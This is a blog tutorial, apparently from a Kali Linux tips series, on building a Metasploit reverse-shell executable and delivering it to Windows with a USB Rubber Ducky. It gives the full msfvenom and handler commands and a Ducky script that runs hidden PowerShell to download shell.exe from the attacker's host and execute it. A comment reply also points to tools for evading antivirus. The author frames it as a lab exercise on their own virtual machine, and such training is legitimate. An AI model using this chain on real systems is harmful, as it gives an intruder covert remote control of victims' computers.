Generating a MSF Reverse Shell For the USB Rubber Ducky Kali Tips #9

So here’s a little tip/walkthrough for making and executing a MSF Reverse Shell for Windows, within Kali with a USB Rubber Ducky.

I found this to be very fun to attempt and learn about how it works. It uses ‘msfvenom’ as well as ‘msfconsole’, to create and interact with the session created by MSF.


Before we begin, this hack is made within a virtual environment, which I have full access to. I have a USB Rubber Ducky for injecting the payload to the Windows Virtual Computer, with Windows Defender off, to download the Reverse Shell from my Kali Machine. Also, this specific instance is for when you’re on the same network as the target machine.

First we create the payload with :

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=0000 -f exe > shell.exe

Replacing the LHOST with your Kali IP address, as the Host, as well as the LPORT with any open port of your choosing. For this example, I’ll use 4444.

The -f option of msfvenom, allows you to save your output as a specific file, and in this case it is saved as an Executable file. I saved the output of all of that into an exe called shell.exe in the root directory, although you can change the name to whatever it is you prefer.


Next Up.

I moved the ~/shell.exe’ to the /var/www/html/ dir with the command:

sudo mv ~/shell.exe /var/www/html/

This makes it so the shell.exe file is available across the IP of Kali’s Hosted Apache Server that we’ll get to in a minute.

Then I started MSFConsole in Kali, to set up the listener for the reverse_tcp payload we’re about to download to the Windows Virtual Computer.

Once MSF is started, I specified which exploit to use by typing:

use exploit/multi/handler

Next, I set the payload:

set payload windows/meterpreter/reverse_tcp

I looked at which options I need in order for the exploit to work by running:

show options

exploit multi handler

After that I set the parameters for the LHOST as well as the LPORT, again. The same ones I used in the shell.exe

One more thing I added in was:

set ExitOnSession false

That way the session stays open for if I need to access it again at some point.

Once that’s all set and done, I started the reverse_tcp connection by inputting:

exploit -j -z

Now it’s time to set up the Apache Web Server on Kali, so that our Windows Virtual Computer can access it. In a new terminal window, I input:

sudo service apache2 start

Once that’s up and running, I checked to make sure it’s working by heading to my web browser and putting in the IP of Kali, followed by the directory of the shell.exe.

shell exe

Looks like it’s working. Now I set up my USB Rubber Ducky so my Windows Virtual Computer downloads the shell.exe payload.

There is a very handy website I found and use to write and encode my Ducky Scripts found HERE. The script is as follows:

DELAY 2000
DELAY 1000
STRING powershell -windowstyle hidden (new-object System.Net.WebClient).DownloadFile('http://*kaliIP*/shell.exe','%TEMP%\shell.exe'); Start-Process "%TEMP%\shell.exe"

Encode and Save the inject.bin file, Moved it onto the root directory of my Rubber Ducky.

Next I plugged the Rubber Ducky into the Windows Virtual Computer, and let it do it’s work. It opened up the run command and input exactly what it was supposed to. Downloaded the shell from my Apache Web Server, and it ran it.

msf session

Once that was done, I jumped back over to Kali and checked the sessions on MSF.

Active Sessions

I got a session, and interacted with it. Just like that we’re connected to the Windows Virtual Computer, via ReverseShell.


Read all the entries in this series!


2 thoughts on “Generating a MSF Reverse Shell For the USB Rubber Ducky Kali Tips #9

  1. The problem with this tutorial is, that nearly evertything what is created with msfvenom get straight away detected. Even if you try to switch off all antivirus protection and so on, even Google chrome dont allow to download a file what is created with msfvenom…….

    1. Sadly that is true. However this isn’t made to bypass AV, more to be a test product. If you’re interested in testing this even though it’ll be noticed normally, try using the IE11 VM from this link

      If you’re interesting in making that payload bypass AV check out Donut or CLrvoyance and plugging that into a rundll32 executable script!

      Maybe I can write a post about it sometime soon if you’d like!

Leave a Reply